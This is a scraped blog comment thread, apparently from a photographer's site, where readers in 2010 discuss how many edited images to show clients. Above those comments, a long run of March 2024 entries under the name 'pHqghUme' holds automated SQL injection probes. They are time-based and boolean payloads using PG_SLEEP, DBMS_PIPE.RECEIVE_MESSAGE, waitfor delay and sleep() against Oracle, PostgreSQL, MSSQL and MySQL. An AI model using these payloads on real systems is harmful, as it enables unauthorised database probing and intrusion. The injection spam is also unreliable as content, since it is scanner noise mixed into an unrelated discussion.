1'" 555
Mar 14, 2024 ~ 3:09pm
pHqghUme 1 ýýýý%2527%2522
Mar 14, 2024 ~ 3:09pm
pHqghUme 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Mar 14, 2024 ~ 3:09pm
pHqghUme 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mar 14, 2024 ~ 3:08pm
pHqghUme emK6UzA3')) OR 638=(SELECT 638 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme PQksTlGW') OR 881=(SELECT 881 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme nIEbd8Gr' OR 757=(SELECT 757 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme -1)) OR 109=(SELECT 109 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme -5) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme -5 OR 878=(SELECT 878 FROM PG_SLEEP(15))--
Mar 14, 2024 ~ 3:08pm
pHqghUme RuhuxrIX')); waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme VZpQIx1f'); waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme 6lqO8bwK'; waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme 1 waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme -1)); waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme -1); waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme -1; waitfor delay '0:0:15' --
Mar 14, 2024 ~ 3:08pm
pHqghUme (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Mar 14, 2024 ~ 3:08pm
pHqghUme 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Mar 14, 2024 ~ 3:08pm
pHqghUme 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Mar 14, 2024 ~ 3:08pm
pHqghUme if(now()=sysdate(),sleep(15),0)
Mar 14, 2024 ~ 3:07pm
pHqghUme -1' OR 2+188-188-1=0+0+0+1 or 'L46OzQ5s'='
Mar 14, 2024 ~ 3:07pm
pHqghUme -1" OR 2+820-820-1=0+0+0+1 --
Mar 14, 2024 ~ 3:07pm
pHqghUme -1 OR 2+188-188-1=0+0+0+1 --
Mar 14, 2024 ~ 3:07pm
pHqghUme -1' OR 2+993-993-1=0+0+0+1 --
Mar 14, 2024 ~ 3:07pm
pHqghUme -1 OR 2+119-119-1=0+0+0+1
Mar 14, 2024 ~ 3:07pm
Cristen I agree completely and have experienced the more is not better situation myself. It does overwhelm them and take them forever to select images. Thanks for showing us proof vs. final edit explanations. I dig your head swap & agree the hair swept look rocks that image!
Aug 22, 2010 ~ 1:34pm
Kathy Norwood As always, Matt, incredible post and beautiful look and feel to the new site. I need to start getting the images down a little more-I still show about 45-50 for a portrait session but I fully edit about 15. Aug 11, 2010 ~ 12:30am
Rachel Owens Matt, thanks for your commentary on this issue. Gives me a lot to think about. I also appreciate you gave so many examples and what you did to them. Very helpful. Love the new site!
Aug 10, 2010 ~ 5:58pm
Shelley Rankin Your so right in terms of the dilemma we face when showing final images. I still struggle with both issues, not showing too many so not to overwhelm the client and to be ok with showing something less then fully edited. This was helpful to know your approach Matt! Thanks!
Aug 8, 2010 ~ 9:45am
sarah This is such a helpful post - thank you. Love the new site - it's perfect!
Aug 8, 2010 ~ 6:14am
Joel Davidson This is a great post, thanks a lot Matt. I have been stalking your website for over two years. The new changes look great.
Aug 8, 2010 ~ 6:01am
Daniel Fuentealba to select 25 pictures looks like quite a hard job... but it would be complete the info if you share the number of pictures you make on a couple session or wedding... ?
Aug 8, 2010 ~ 12:47am